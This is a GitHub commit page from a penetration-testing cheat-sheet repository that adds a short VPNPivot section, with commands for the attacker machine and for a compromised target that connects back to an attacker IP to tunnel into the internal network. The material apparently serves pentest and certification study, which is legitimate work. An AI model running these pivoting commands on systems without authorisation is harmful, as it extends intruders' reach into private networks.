Skip to content

Commit

Permalink
adding pivoting
Browse files Browse the repository at this point in the history
  • Loading branch information
UserXGnu committed Aug 12, 2018
1 parent f827c63 commit ff8c465
Show file tree
Hide file tree
Showing 2 changed files with 21 additions and 2 deletions.
17 changes: 17 additions & 0 deletions CheatSheets/pivoting/readme.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
# Pivoting
---

## VPNPivot

#### On attacker machine

`$ sudo pivots -i <iface> -p <port> -H <mac> -v`

* <iface> is the virtual interface for the vpn itself, as example openvpn often creates tap0 or tun0, you can choose whaterver you want, like pwn0;
* <mac> MAC address for the newly created device;
* <port> whatever unused port you want


#### On target machine

`$ sudo pivotc <attacker-ip> <previously defined port> <internal network gateway ip>`
6 changes: 4 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -37,8 +37,10 @@ This repo also helps who trying to get OSCP. You'll find many ways to do somethi
* Windows
* [Windows/Privilege-Escalation](https://github.com/Kitsun3Sec/Pentest-Cheat-Sheets/tree/master/CheatSheets/windows/priv_esc/)
* [HASHDUMP](https://github.com/Kitsun3Sec/Pentest-Cheat-Sheets/tree/master/CheatSheets/windows/hashdump/)
* Pivoting
* [VPNPivot](https://github.com/Kitsun3Sec/Pentest-Cheat-Sheets/tree/master/CheatSheets/pivoting/readme)

### Resources
### Resources
* Wordlists
* [PacketStorm](https://packetstormsecurity.com/Crackers/wordlists/dictionaries/)
* [SecList](https://github.com/danielmiessler/SecLists)
Expand All @@ -50,7 +52,7 @@ This repo also helps who trying to get OSCP. You'll find many ways to do somethi
* [Pastebin](https://pastebin.com)
* Tables
* [RainbowCrack](https://project-rainbowcrack.com/table.htm)

## Contribution

[HOW TO](https://github.com/Kitsun3Sec/Pentest-Cheat-Sheets/tree/master/contribution.md)

0 comments on commit ff8c465

Please sign in to comment.